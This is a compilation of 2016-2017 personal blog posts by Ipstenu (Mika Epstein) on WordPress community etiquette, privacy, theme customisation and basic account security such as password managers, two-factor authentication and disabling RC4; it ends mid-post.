The time to report a security issue (which should never be ‘in public first,’ IMO) is not the middle of the release meeting. The time to report petty theft is not while your Manager is giving an announcement. The time to tell everyone that Beyoncé’s video was better is not while Taylor Swift is on stage giving her acceptance speech.
Those moments are rude, inconsiderate, and disrespectful.
It doesn’t matter if you’re right or not because yes, *Single Ladies* was a magnificent video and Beyoncé was robbed, it matters if the right people will be able to address the issue without causing harm to everyone else.
No one is more or less important than anyone else. Saying ‘everyone’s special’ is just another way of saying no one is. As painful as that can be to hear, it’s true. Instead of arguing that ‘us’ are more special than ‘them,’ which is purely subjective anyway, we should look at the magnitude of the work we do. Who will be harmed by the choice to publicly state something *now*?
The good of the many often is more important than the good of the few, or the one. That doesn’t mean you should not confront people in public. It means you should not do so *recklessly*. It means that you should not speak up without consideration of who you are, where you are, and when you are. It means you must be prepared to accept the consequences of your actions.
If you decide the best place to speak up against a politician is at his rally, you must accept that you may be throw out. You must accept that protests may end with your arrest. You must accept that being vocally against a decision or an action may result in you being publicly talked back to and possibly shunned.
At the same time, you *cannot* be afraid to do these things. You *should* speak up against wrongs. You *should* speak up against bad decisions. You *should* tell your manager that they’re making a bad choice. But you cannot do those things blindly or ignorantly.
It’s human nature to want to be a part of a group. We’re herd animals. We like the safety it affords us. We like the security. We crave it. So when we achieve acceptance into an ‘inner circle’ we want to protect our standing and not be cast out, and that can cause a bit of a Status Quo mentality.
Some members of the group will always be the ones to shake things up. They will be the ones to speak against the majority, to stand up and say “This is wrong and here is why.” They’re the ones who are brave enough and strong enough to accept the consequences of their actions. They don’t walk into a room, interrupting everything and everyone, to announce something.
They don’t get a free pass, however. They accept the consequences. And the effective ones make sure that when they choose to speak up, they do it in the right place, at the right time, with the full respect given to their group and community. And if they don’t, well again, they know what they’re getting into.
I can’t tell you to speak unafraid. That would be incredibly unrealistic. But I can say to speak boldly and to think about the consequences of your actions. And I can tell you to *ask*. “Will there be a post-mortem of this deployment where we can talk about improvements to the process?” Ask. “I know this is a meeting, and I apologize for interrupting, but I have a security issue. Where would be the right place for this?” Ask.
**Categories:** How It Is
**Tags:** essay, rant
---
### [Bundling - Not What We Wanted](https://halfelf.org/2016/bundling-wanted/)
**Published:** October 21, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The trouble with bundling is the presumptions we make.
**Content:**
There is a problem with bundling.
We like to bundle things together, to say “If you buy X, get Y as well for less!” And the simple problem is that our customers don’t actually always want X. We treat bundling like it solves our problems, but it doesn’t. It just makes angry customers who have more than they need, and pay more than they wanted for things they don’t use.
Let’s think of it like a coffee shop for a moment.
You go to Mooncoins and you want a latte and a gluten free donut. When you get there, you look for your $5 latte and see that you can’t buy it anymore but you *can* spend $10 for a latte and a vegan donut, non-gluten-free. If you want the gluten free bundle that’s another $15 and it comes with a muffin. You don’t want the muffin. You want the option to name your own bundle.
Okay, so how does this relate to software?
If you live in the US, you’ve probably heard about the Progressive insurance company. Yes, the Flo ones. Since they own Jacob’s Field in Cleveland, I hear a lot more of their commercials than I care about, but they have a weird deal with a ‘name your own price bundle’ where you pick what you want, and how much you want to pay for it. Within reason.
This means we ask “What are you bundling?”
I get waxed once a month or so and they offer ‘packages.’ There’s a ‘whole face’ package and a then separate services for lip, chin, and eyebrows. What I want is lip and chin, which they don’t offer, so instead of paying less for two services (which is what you get in a package), I have a choice of paying more for a package I don’t want (whole face) or more for two services I want (lip and chin).
The company wants me to pay for a package, which would save me quite a bit more than buying the lip, chin, and eyebrows as separates would cost. But they don’t have a ‘pick two’ option.
When you decide what you want to put in a bundle, you presume you know more about what the customer wants than the customer. And the flaw in this plan is that you *don’t* know more than the customers. You presume you know what works best, but you don’t.
You may have an idea of what works best for the people you’ve run into, but some of them would look at the price difference between paying for two services and paying for a package, see than it works out to less than $50 a year, and go for it. Then you have someone who thinks that $50 a year isn’t nothing, and would like to save it and not use services they don’t really want.
Bundling is meant to reduce options and let people pick what they need. What it more often does is require people to make different decisions of what they want and need, but also what the value is on those things in time and money.
Maybe we should start rethinking what we bundle and instead consider how we bundle. Let the customers have options. Use features like “People who bought X also bought Y.” Add in discounts “If you buy 3 products, get 5% off your entire purchase.” Offer them example bundles that are your current deals “Most people buy these 3 together. Purchase them now and save 5%, or mix and match your own.”
But start looking at how people purchase your products as a whole, and give them discounts not on the bundle you invent, but on the bundle they create. Guide them to what they need, not what you think they want.
**Categories:** How It Is
**Tags:** essay
---
### [Two Forks In The Road](https://halfelf.org/2016/two-forks-road/)
**Published:** October 7, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Because healthy rivalry between friends and equals is a good thing.
**Content:**
I believe in healthy competition.
Rivals, professionally and personally, have the ability to inspire us to reach great heights. They also have the ability to be terrible, but when a true rival, who respects you and your work, arrives, they should be embraced.
The other day I said that I would love to see a W3TC killer. Killer was the wrong word, as what I mean is that I would love to see something *as amazing* as W3TC that reaches out and tackles caching in a new and inventive way. I’d also love to see a WordPress killer, an iPhone killer, and a Linux killer. And a Hybrid Car killer.
I don’t mean I want *any* of those things to fail, I mean I want to see them have a challenger who does what they do, differently, in a way that inspires them to do more and more and better.
Growth stagnates without good rivalry. When you have a rival who does what you do, and they succeed, you want to succeed. When you’re both healthy rivals, you can carry it even further. Reaching out to your rivals and telling them “I am impressed with how you did X! Nice job!” is the greatest gift. With WordPress code, taking a leaf from their book and forking some of their code (with credit) is another way to hat-tip them.
In truth, W3TC and WP Super Cache never really competed. They can’t. They have wildly different approaches to just about everything, and they’re not even ‘after’ the same customer base. WP Super Cache appeals to people with it’s simplicity and directness. It works and you can (mostly) ignore it. W3TC has an insanely deep and complex set of tools that works closer to the base level of a server. W3TC has options, oh my god it has options, and they can overwhelm.
But the real crux to all this, besides the take away that caching is hella hard, is that there is always more than one way to solve a problem. And there is always room for multiple solutions in any ecosystem. It comes down to needs, wants, and user preferences. Both plugins I’ve named here do a great job at meeting the needs for *their* audiences. And both plugins grew out of someone’s need. Donnacha and Fredrick both created something to solve their own problems. They shared these solutions with the world and became unintentional rivals and kings of caching.
Okay so back to what I said.
Should there be a ‘killer’ caching plugin? *Will* there be one?
Maybe.
There should never be *one* killer app, no matter what it is. There should never be *one* perfect solution. Mostly because I don’t believe there’s such a thing. There’s nothing we can create that will suit everyone’s needs and wants. It’s statistically impossible. So when we talk about a ‘killer’ anything we never mean that. We mean “There should be options and the options creators should be healthy competition with each other to create some awesome things.”
And I really truly thing we should do that. I would love to see someone tackle WordPress with a serious self-hosted alternative. Something easier to install on my own than Ghost, but as easy as Hugo or Jekyll to write a post. Something extendable like Drupal, but with better backwards compatibility. Something next. And I want to see WordPress take what it learns from those other tools to become even more.
Because healthy rivalry between friends and equals is a good thing.
**Categories:** How It Is
**Tags:** caching, essay, plugins, wordpress
---
### [On Trust and Money](https://halfelf.org/2016/trust-money/)
**Published:** September 23, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** This won't have all the answers, and in fact it probably leaves people thinking "But ..." and that's okay. You don't have to like everyone and everything.
**Content:**
So. Headway Themes. In the last two years, they’ve gone from being a pretty interesting drag-and-drop theme that I thought was cool but not for me to a disaster. With the recent posts by former employees, and the complaints of customers, I feel bad for everyone involved.
But this is not about how another company could have handled things better. No, this is about trust.
You see, with the debacle that ensued, while it was going on, I was looking at desktop clients for local development on my new Mac. I have DesktopServer (love it) and VVV (… love it …), but I’d been hearing about this new docker type image set up thingy called Pressmatic.
My buddy Pippin loves it, and I trust him with a lot of things. Pippin and I hate doing things the hard way, and if he found this easier to use then awesome. There was just one teeny problem for me.
You see, it was owned by one of the people behind Headway.
Now I’m not trying to tell you not to buy software becuase of a previous situation. But like I mentioned (in passing), I still don’t like to use GoDaddy because I disagree with their ethics and marketing strategy. It’s not to say they’re right or wrong, but I don’t like it, and since I don’t *have* to use their products, I don’t.
The big difference here, though, is that if you asked me “Should I use GoDaddy” I would tell you the truth and it’s this: Sure. Why not?
It’s hard to explain this in 140 characters, or even a chat at a crowded bar with burritos and beer. I just feel there’s a big difference between the choices I make for me, and the choices you make for you. But there’s also a difference between the choices I make because I must, and the ones I have freedom on.
There are a lot of things I personally don’t like. I had a terrible experience with United Airlines and now I don’t fly them unless I have to. I had a series of shitty discussions with Jeep and now I won’t buy them. I had a horrific Amazon shipment screw up where they wouldn’t refund my pre-ordered copy of a DVD that was *broken* on arrival, because the pre-order was more than 3 months prior.
It took Amazon about seven years for me to get over that.
I’m not quick to forgive, if you can’t tell.
So when I tell you “I don’t feel that I can use \[whatever\]” and that isn’t followed by “And I hope you don’t either” then it’s really just me, having a personal moment where I don’t like a thing or a product or a marketing choice. Where I had a bad experience.
*Everyone* is going to have a bad experience with something. People hate the bank I used to work for, and they hate the hosting company I work for now. It happens. People I like and respect hate choices my company has made, and I understand that. I don’t beg or plead or wheedle or even complain. I nod, I say I understand, and I ask if I can do anything to help them. Even if that helping is helping them move to a new web host.
Trust is a thing that is given, and when broken takes a long time to re-earn. Right now, the situation with Headway gives me serious trust issues with Pressmatic, to the point that today I don’t feel that I can purchase what looks like a damn nifty product from them. And it’s not because I don’t think the product is good, or that I’m trying to punish them. It’s that I have doubts that they care about the little guy. Specifically, I doubt they care about *their* little guys.
When I have the choice to vote with my conscience, I do. When I have the responsibility to vote for my fellow man, I do. And when I have the ability to use something that pleases my little hippy, communist, socialist heart, well god damn it, I am going to do just that.
The converse is also true.
I have freedom to chose. And so do you.
Go use GoDaddy. I’ve heard amazing things about their managed service. And Pressmatic? It works awesomely! Jeep? The new ones are kind of great for off-road stuff and the heated and cooled seats are great in summer. United Airlines? They let me switch a flight around at the last minute for now fee when I had to fly them.
But I won’t use them by choice right now. And that’s okay. Maybe one day that will change, but it’s not today. If you can’t stand those things, that’s okay too. I hope you dislike them for the right reasons, and I hope you can keep yourself away from hatred and anger, but I get that it’s hard.
Like what you like. Dislike what you don’t. Vote with your feet. Trust the ones that you feel you can trust.
**Categories:** How It Is
**Tags:** essay, freedom
---
### [The Problem with Renaming](https://halfelf.org/2016/the-problem-with-renaming/)
**Published:** November 2, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If you don't pick a good name, you may need to rebrand yourself. Sure, you can, but at what cost?
**Content:**
If you caught my talk in Seattle last week, I talked about names, versions, and SVN.
[](https://halfelf.org/wp-content/uploads/sites/2/2016/10/jeff-atwood.png)
One of the things I touched on with names was their problematic nature. And believe me, I know about that. You see, I’m a Cleveland Indians fan.
And yes, I think the name (and the logo) are racist.
## You can’t rename things, but you can rebrand
When I said this, I meant that you can’t rename a plugin slug. Yoast SEO will forever have the URL of `wordpress-seo` because we do not have a way to rename the slug and properly redirect everyone. We just don’t. And even if we did, the old URL would need to remain in perpetuity in order for everyone who upgraded super late to still get the new code.
Names are really important. Your name is (often) your brand, and your brand is how people know you and how to find you. When you consider a name like the Cleveland Indians, today we can see the problems with it. Racism. But in 1914, we were a little simpler, a little more naive…. A little stupider. Okay a lot stupider.
The problems that Cleveland faces with renaming are related to the problems you would face in renaming your product.
## Rebranding has a cost, and it could be everything
The crux of all issues with renaming is that if people don’t like the new name, or can’t find you because of it, they will walk away. If you’re a small company with a few sales, and people can’t find your name anymore, you could go bankrupt. For Cleveland, it would be worse. If the baseball team went belly up, it would translate to thousands of people going out of work.
This is not to say the renaming or rebranding isn’t important. Cleveland’s reasons are obvious. Yours may be less so. You may be asked to rebrand to prevent a potential legal issue. Or you may decide that Mailpoet is a better name than Wysija Newsletters. But the rebranding can come at a cost.
## Losing history can loose users
In baseball, one of the rationales for not renaming a team is the team history. A team is known by it’s name and its mascot (and logo). The logos of most team are fairly mutable over time, [you can see the growth and development when you look at it historically](https://halfelf.org/2011/istanbul/). There’s a reason most redesigns are actually *not* dramatic, but careful and planned. That can not be said of the names, which rarely (if ever) change unless a team moves.
The same goes for your name. If Cleveland renames their baseball team to, say, the Lancers or the Blues, how do you handle the change? You have to make sure everyone knows (this is easier for baseball than the rest of us) and you have to make sure they know why.
[](https://halfelf.org/wp-content/uploads/sites/2/2016/11/warner-bros-disclaimer1.jpg)
When a similar warning was put up before Tom & Jerry cartoons, the Internet lost their shit. Go figure. And yet that’s the problem here. People react in unpredictable ways to being told “A thing you liked and empathized with is bad” because they think it means they were bad. Generally no, they weren’t.
That’s a much bigger issue for baseball than for your code though. Unless you decided to name your theme Mien Kampf, or decided to present your plugin as ‘The Final Solution.’ That’s because a name is not isolated. You are not isolated. You live in a world where the implications and uses of a word and a logo can have far reaching effects. People who, for whatever reason, connect with your plugin name can feel left out when you rebrand.
## No matter how deep your pockets are, you will pay
Thankfully you are way luckier than baseball (or football, hello). You have the opportunity to know the world you’re in. Today we are more aware of the implications of our words, but also we now listen to other cultures and viewpoints about how our words and actions are perceived.
The cost of renaming yourself is high, but the ultimate question is not to ask how much the cost is of the renaming. The question is which cost is higher: The loss that stems from renaming, or the loss that stems from defending a name. If you’re being sued by Microsoft for copyright infringement over a name, and yes it happens, it doesn’t matter what your intentions were. What matters is you’re probably going to lose.
If you’re baseball, you generally have a lot more money than the average joe. You might be able to win a lawsuit. But your reputation will be tarnished, and that too will impact your bottom line.
> If you know what to do and you don’t do it, there you bloody well are, aren’t you.
— Lord Buckley
**Categories:** How It Is
**Tags:** baseball, essay, money, names
---
### [The Privilege of Default Settings](https://halfelf.org/2016/privilege-default-settings/)
**Published:** November 9, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When we assume we are the default setting, the baselines, we're making bad assumptions.
**Content:**
You’ve probably heard the analogy that being a heterosexual, white, cisgender, Christian male is playing the game of life at its easiest setting. Most things are aimed at you, from consumer products on down to expectations. Being those things causes you to come from a place of privilege, even if you’re poor. The world is aimed towards you a little more, and your default assumptions are ‘correct’ because media and everything else reinforces them.
Sometimes when I look at the choices and decisions we make in Open Source, I think we’re falling prey to the same concept.
The day after my team lost the World Series in 2016, I found myself struggling through an emotional (and chemical) hangover, whereby I was pretty much half the speed at thinking as I normally am. In this state of mind, I decided it was a dandy idea to sit and do some serious UI testing of products for myself as well as WordPress core. It was surprising, enlightening, and humbling.
I know WordPress. I know it really, really well. I use it daily, I write it in it every day. I monitor and support end users. I review code every day. Rarely has 36 hours passed without me learning something new about it, but also seeing a hundred people making the same mistakes. I often tell people “If I can’t figure out how to use your plugin, based on the readme, you didn’t write it well enough.” A new version of this is that when hungover me can’t figure out what your plugin does, there’s a lot more wrong.
Related to this is the tone and language in which I am wiring to you this very moment. I write from a place of decent education and intelligence. I use words like obsequious and peradventure from time to time, not because they sound cool (though they do, I like the sound of words) but because they draw your attention to the point in different ways.
> This proves beyond peradventure that the intent of the name of the product was to leverage the name of its competitor.
I don’t actually send plugin emails with that stuff, no matter how much I think in that way. It would make people think I’m talking down to them.
Which brings me back to my point.
We, who create for WordPress, are in a place of exceptionally high privilege. We name drop people like Helen and Mark and Matt and Mike (no, the other Mike) without a second thought because they’re a part of our lives. We’re not trying to seem high and mighty, but these are people with whom we’ve played Cards Against Humanity, or had churros, or sat on a bed giggling like tween girls. We’ve made a tribe with people we see daily, virtually, and they’re a part of our norm.
But to the average WordPress user? They don’t care. Or if they do, they care jealously. And worse, when we say things like how we talked and made a decision about them without their input, they feel left out. And they were. They were intentionally, mindfully, willfully left out.
We felt our default assumptions were correct.
We felt that we knew better.
We felt, based on our experiences and usage and tests, that we were right.
Well. We can be wrong. We know this. Often we trust our heads more than our hearts, making amazing mistakes by assuming we know the best from our expertise. And the biggest fallouts when it comes to our work will be in those moments. When we decide “this is right” without taking the time to use our product hung over, or to ask for more help, or to trust that gut feeling.
This is incredibly hard to do. When you consider WordPress, there are times a feature will make it to Beta and we’ll realize we were wrong. Post Formats UI, anyone?
As gutting as it was to pull that so late, the decision was wise and sound. Not because this wasn’t something people wanted (and might use) but because it’s implementation wasn’t up to snuff. It was a fundamental feeling of ‘this is wrong.’ And Mark trusted his heart in the moment and said even if the code was fine, there was something off in the using. He understood the implications, too. That how the UI was implemented would influence future work.
It’s difficult to explain how huge that is without sounding like I’m making a mountain out of molehill or fighting a strawman. The decision we make in WordPress, in any project, do not live their lives out in a vacuum. The decision to make widgets, featured images, categories, custom post types, and on and on *all* have influenced how future features are designed and built. We know this. So when we introduce a new feature, a new flow for using features, we have to consider the future.
And that means we need to forget our privilege of someone who knows the code, who knows the system, and who has all the benefits of experience. We need to be the first time user, the uneducated, the newbie. We have to accept that we will be wrong, and we have to be willing to admit our wrongness. To fail to do this means we’ll never learn.
**Categories:** How It Is
**Tags:** essay, ux
---
### [The Privilege of Privacy](https://halfelf.org/2016/privilege-privacy/)
**Published:** November 11, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The vulnerability of my security is you. So stop it.
**Content:**
Ask 100 women online where the live, and the majority will give you a vague answer.
California.
Chicago.
LA.
Orange County.
Those are enormous locations. While you probably could have found me in Chicago, if you asked enough people, you’d need to know a lot more than just the city. And now? Good luck. Most of my neighbors don’t know me. Their kids do, go figure, but it’s not the 1950s anymore.
The longer a women (or any minority) has been online, the less likely they are to want to talk about their location online. At least not in public. We get used to the constant, low level, shit throwing people say. People will ask what kind of ‘creature’ we are for posting a Vine, or call us ‘the hot one.’ It’s something I’m constantly pushing back at, and being vocally against, but it’s me against the world, and sometimes it’s a Sisyphean struggle.
But that doesn’t mean some people don’t have my home address. It means the people who do are people I trust and respect. I know that they won’t generally just show up at my house (unless there’s a crisis).
So what happens when you know, say, that I live in New Jersey and someone mentions WordCamp Jersey in a public chat?
You shut the hell up and don’t say “Hey, Ipstenu lives there, you should ping her!” No, you ping me directly and say “Hey, Billy was talking about WC Jersey. I thought you mentioned living nearby. Did you know about that?” And that way you give the public information to the private individual.
This seems to be an odd concept to people who come from a place of general safety and security. Yes, I’m talking about you, heterosexual cisgender white christian men. They tend to be the most flagrant abusers of personal information that I’ve seen online.
When I ran a forum, I had a rule that basically read like this: **People’s personal information is just that, theirs and personal. If they say “I live in Wyoming” that’s cool, but you don’t get to speak for them.** And yes, I banned people for violating that after they were warned.
Most of the time, personal information that is privileged is obvious. If I run a website, I have your IPs and email. I don’t give them away to ad collectors without your consent because that’s just a shitty thing to do. It’s unethical. In some places it’s illegal. That’s why you’ll get disclaimers on what information is tracked, or notes about how to opt-out.
But less understood is the concept that information you and another person discuss in private is just that. *Private.* It shouldn’t be. It’s basically the same thing. You are in a place of privilege where by you have access to information others do not. That privilege comes with responsibility.
So let me lay this out for you.
If someone tells you a thing in private, it’s not always yours to repeat.
If someone tells you a personal thing in private, it’s *definitely* not yours to repeat.
For example, if someone tells you “Hey, I think I’m gay.” you absolutely, 100%, do not EVER turn around and say “Oh, Bob? He’s gay.” *That’s not your information*. And that’s an obvious case isn’t it? Well, where I live is also an obvious case.
The Internet is filled with doxers and harassers and people who jackhammer Hollywood Walk of Fame stars. People are attacked online, usually on Twitter or IRC or 4Chan, every single day.
It’s your job, as the holder of privileged information, to be the secret keeper. Be the friend. Keep it to yourself. And for god’s sake, if they ask you not to repeat something, either don’t repeat it or tell them outright that you will probably forget, so please don’t tell you.
*Comments on this post are disabled.*
**Categories:** How It Is
**Tags:** essay, freedom
---
### [The Perception of Approachability](https://halfelf.org/2016/the-perception-of-approachability/)
**Published:** November 21, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The connections we make foster a strange sense of approachability that isn't always felt on both sides.
**Content:**
I’m speaking at WordCamp US. Someone I don’t know pinged me and said they were happy to see I was speaking, and they’d be there from their country. I haven’t the foggiest idea who they were or why they were telling me this.
A few years ago, at my first WordCamp San Francisco, someone followed me for a few city blocks. Or at least he tried to. I was going out and he followed me out of the area. I paused, we chatted a moment and as I tried to leave, he kept talking. This pattern repeated until I finally said “I need to go. Good bye.” He kept talking. I spotted a female WordCamper I knew and she *immediately* came up and told me my wife was on her phone and was mine broken? Not at all. We lied. But I went with it, checked, looked shocked that it didn’t light up, and said it must be dead. I took her phone and proceeded to start a fake conversation that my wife had locked herself out of the car, 3000 miles away.
In 2015, I was at a WordCamp where someone was *very* much crowing up in my personal space to talk. I quickly stepped back and when he leaned in, held up my hand and asked for personal space. At another WordCamp later that year, a similar thing happened to a friend of mine. I saw she was agitated and wanted the conversation to end, so I walked up and smiled and said I’d been looking for her. I knew the man, I thanked him, apologized for interrupting, wished him a good day, and he nodded and walked off.
These are pretty normal events in my life.
It’s a common, regular occurrence for people like me.
I talk to hundreds of strangers a day in my work. I email at least 30 people a day with notes about their code. I converse with customers, co-workers, and a lot of random people. I don’t know *many* of them. We are not friends, these random people and I. We are not besties. We are not people I hang out with on their couch and play rude games. But the perception is, since we’ve had some conversations, we’re somehow closer than normal.
And yet all four of those people, all men by the way, seemed to assume a level of connection that I did not. They all immediately felt I was ‘one of them’ and monopolized my time, not taking the social cues of ‘no’ until it was stated, and *even then* I had to be forceful.
Flip the tables.
Have I ever felt this way about women? Actually yes. I’ve had women at WordCamps do the exact same thing. 2014 someone kept asking me question after question about being a Woman in WordPress, until I politely turned to another woman and pointed out she too wanted to talk to me. In every case with women, however, they *get it* when I try to redirect the conversation to ‘I need to leave’ or ‘this conversation should end now’ and they get it without rancor or offense.
This happens outside WordPress too. It’s actually a great deal worse outside WordPress. But in many cases, people attribute a greater level of friendship to an online social connection than I seem to.
Of course there are exceptions. Most of my greatest friends came from random internet connections. People who, literally, changed my life with a job recommendation, held me while I sobbed over a death, had a girly sleepover where we giggled until 1am when we *totally* shouldn’t have since we had to be up at 6am for volunteering, offered me a couch, schwarma, or even just a gentle “Hey, I’m here for you. Are you okay?” They too came from this online place.
So what’s the difference?
We’re more approachable online, certainly. We let our barriers down and we engage more because it’s (mostly) safer. We can talk about how we feel, we can sob, and no one sees us. We’re freer. And with this freedom and honesty comes a ‘connection’ that sometimes transforms into true and honest friendship, and sometimes doesn’t.
But when we move the online relationship into a physical one, we worry. We worry if the person is who they presented themselves to be and we worry if we’re going to get hurt. Many women worry if we’re going to be physically hurt. And we can’t tell. We often have no way to figure this out until it’s too late.
I don’t have a solution to this problem, but I can tell you this. When I meet new people, even at a WordCamp, and when strangers reach out and tell me they’re excited to meet me, I receive that with a little trepidation and caution. I text my wife to tell her where I am, who I’m with, and if I’m worried. This is unlikely to change any time soon, and has nothing to do with the US political climate. What it has to do with is the understanding of what exactly makes up our connection.
*Comments on this post have been disabled.*
**Categories:** How It Is
**Tags:** community, essay, rant
---
### [Custom Colors with the Twenty Seventeen Theme](https://halfelf.org/2017/custom-colors-twenty-seventeen-theme/)
**Published:** February 6, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Changing colors on Twenty Seventeen isn't very fun, but that's pretty much the only thing I don't like about the theme.
**Content:**
In building out a site, I had a cause to use [Twenty Seventeen](https://wordpress.org/themes/twenty-seventeen/), the new theme for WordPress. I’d tested it before, helping figure out the usability of features. This time I was using it ‘for real’ and as I often say, there’s nothing quite as impressive as ‘for real.’
Overall, I still find Twenty Seventeen as easy to work with as any other theme I’ve used. Customizing a theme to look like how *you* want is incredibly weird as it’s always a unique experience. This is to be expected. Themes are difficult when we’re trying to guess what people want. They’re second only to search in complex usability. In my use, I found two places where I felt other themes did things better.
## Documentation
While there is a technical document on how to [theme with Twenty Seventeen](https://make.wordpress.org/core/2016/11/29/theming-with-twenty-seventeen/) there is no walk through. For example, when I use StudioPress’ Genesis themes, every single one comes with a walkthrough of “How to make the theme look like our demo!” Twenty Seventeen has the luxury of the new default content, but even then, it’s not the same as directions. I have to do trial and error to figure out things like how to change the ‘section’ images on the front page.
Answer? Change the *featured* image. Of course. That was logical to me because I’m an experienced WordPress user. I can’t say it was logical to anyone else.
A great deal of the theme makes sense contextually. By which I mean if you look at it, it all follows and you can suss out what’s next. But it’s not perfect. No theme is. I still think if a simple walkthrough doc existed, it would help a lot of first time WordPress users.
## Colors
About a day into my project, I’d used Twenty Seventeen, ditched it for something else, wrote a lot of custom post type/taxonomy code, and then came *back* to Twenty Seventeen. By the time I did, I had a very clear-cut idea in my head about what I wanted the base color to be.
I have to explain it like that because that’s pretty abnormal, I feel. Most people don’t go “I want to use `#d1548e` as my base color for links and stuff!” They go “I want pink!” The problem here is that if you look at the color tool for customizing colors, it’s a slider. And worse, it’s a slider without an override.

Now compare that to the picker you get for the *Header* text color:

Right there I can go in and put my color in hex format and it uses it. Perfect.
I can guess why they don’t have this for the custom color, though. Twenty Seventeen does something special with colors and instead of just saying “Links are pink and headers are magenta,” it uses saturation. This lets the theme create a dynamic color scheme based on your selection. Which is fucking awesome, right up until you’re me (or you try to use the exact same color schema twice).
I want to stress that I *do not* feel this was a bad choice for the theme. Since the theme is going to use math to cleverly calculate out what the related colors should be for the theme, it’s genius to set the colors on a slider. This puts the concept in your head, when you move the slider, that the colors are *relative* to each other. It’s a perfect example of seamlessly introducing new users to a tool. It’s actually intuitive.
## How I ‘Fixed’ My Color Woe
First I made a lot of jokes with my buddy James about how they would ‘hue the day’ for this one. Because thats how I roll. Then I dug into where the hell this was set at all. Like all WordPress settings, its saved in the database in the `wp_options` table, under `theme_mods_twentyseventeen` which has a value like this:
Yours may be longer. The important bit is here: `s:15:"colorscheme_hue";i:312`
That number, 312, is the color hue! If you change it, it changes the colors. Once I knew that, I had to reverse engineer a hex code into a hue. To do that, I used [workwithcolor.com](http://www.workwithcolor.com). That site has a color picker, and if you put in the value you want (say [d15483](http://www.workwithcolor.com/hsl-color-picker-01.htm?cp=d15483) it spits back a whole lot of information.

That part I circled, the 337, that’s the important part. I can now go into my database and change 312 to 337 and magically it works.
But boy that sucks. Instead I used `set_theme_mod()` to fix it by putting this in my theme’s function:
If I wanted to get fancy, I’d put in a real control for it, but this at least gets me started.
**Categories:** How To
**Tags:** coding, themes, wordpress
---
### [Secure Your Shit](https://halfelf.org/2017/secure-your-shit/)
**Published:** January 23, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making all your online behavior more secure starts with good passwords and two factors.
**Content:**
Ignore the fact that Google’s going to downgrade your sites if they’re not HTTPS soon. That’s not what I’m talking about.
I’m a strong proponent of Net Neutrality and Freedom of Speech. I certainly intend to speak up and write and protest in the coming weeks and months, just like I have my whole life. I look at the world and I see things that need changing. So while this blog is about technology and computers and the Internet and websites, it has an impact on my political actions.
Or rather, it’s that my political actions impact this site.
People try to hack me all the time. *All the damn time.* Within the last 24 hours, over 400 people have tried to break into my ‘root’ account. It’s not named root. Good luck there. But the point is that people do try to hack me. They attack my WordPress install, my server, my email, my social media accounts, and my home wifi. I suspect the last one is my neighbor being stupid.
This means I know that speaking up will make me a target and, because of that, I need to secure the hell out of my stuff. And that means using [Two Factor Authentication](https://halfelf.org/2013/two-factor-authentication/).
## Use Strong Passwords
I use [1Password](https://1password.com) to both create strong passwords and securely store them. A popular alternative is [LastPass](https://www.lastpass.com), but having used both, I find 1Password easier to use. Regardless, use them. My passwords are things like `4seqKD)CsbG=iQnVoirwZ77+` which I hate typing in when I have to change them, but thankfully with browser extensions I not only don’t have to, but I don’t know my own passwords.

I can just generate and go.
## Secure your Email
I know a lot of people use Gmail. I pay them for email right now ([long story, tl;dr no one does spam better](https://halfelf.org/2016/moving-cpanel-email-gmail/)). That doesn’t mean I fully trust them but, since I pay them, I know I have a different relationship than the free Gmail one. Still [I use 2-step verification on gmail](https://www.google.com/landing/2step/).
If you need super secure and private email, [ProtonMail](https://protonmail.com) is the way to go. Sadly it’d be $30 a month for my multiple domains. I wish they’d charge per email address, but that’s another issue.
## Secure Your Panels
Everyone logs into web hosts the same way. We use a panel. It might be Plesk or cPanel or a home-grown system. It doesn’t matter which. Whichever one you use, make secure passwords, don’t share them with anyone, and if at all humanly possible, use Two Factor Authentication. If your webhost doesn’t offer it, leave. I know what I just said. If they don’t offer some method of verification, they’re not safe.
When you secure your panel, make sure you *also* secure your billing stuff. For example, I use [LiquidWeb](https://liquidweb.evyy.net/c/294289/297313/4464). They use cPanel and I activated Two Factor Authentication for that. But they also have a proprietary manage site where I log in for billing and server allocations. That *also* needs security. Make sure you do it on both.
## Secure Your Blog
If you use WordPress.com, [Turn on Two Step Authentication](https://en.support.wordpress.com/security/two-step-authentication/).
If you self host WordPress, use a plugin like [Two Factor](https://wordpress.org/plugins/two-factor/). That’s the feature project’s plugin that hopes to be added to WordPress core, so it’s a little rough around the edges. While I do have fundamental issues with 2FA being enabled by default for all users of a blog, it’s because I understand that most users are not technical.
It’s a double-edged sword. If we don’t teach people to be a little more technical to be a little safer, they won’t become safer. On the other hand, with things like 2FA and WordPress, there’s no real way for them to contact a person for help. If you turn it on, then everyone who locks themselves out gets to either call their webhost (who isn’t responsible for that) or a young relative (who didn’t sign on for that) or post in the support forums (who *did* sign on for that, but still).
## Secure Social Media
[Twitter](https://support.twitter.com/articles/20170388), [Facebook](https://www.facebook.com/help/148233965247823?helpref=search), and [Tumblr](https://www.tumblr.com/docs/en/account_security) have Two Factor authentication. Use it.
Twitter’s sucks, by the way. It’s text based, which means you can only use it via text-messages. Facebook requires you to use texts, but allows it to be a backup to a code generator like Google Authenticator.
## Be Secure
The moral of all this? Be secure.
**Categories:** How It Is
**Tags:** behavior, security
---
### [SSL Security: Killing RC4](https://halfelf.org/2017/ssl-security-killing-rc4/)
**Published:** January 30, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making your site more secure from the server level.
**Content:**
In the middle of debugging what turned out to be an unrelated problem, my friend James pointed out that my server was throwing a warning about the RC4 cipher.
## Ciphers?
When you want to transmit secure data, you use a cipher to encrypt the data. RC4 is a (hah) cipher. It generates a stream of random bits and bytes (they’re not really random) and combine them with plain text using a pattern to make an encrypted message. The secure connection unravels the bits because it knows the cipher too.
Ciphers only work if no one knows how to crack them. That isn’t the case with RC4 anymore and it was hacked. Sad news. Time to disable it!
## Disable it!
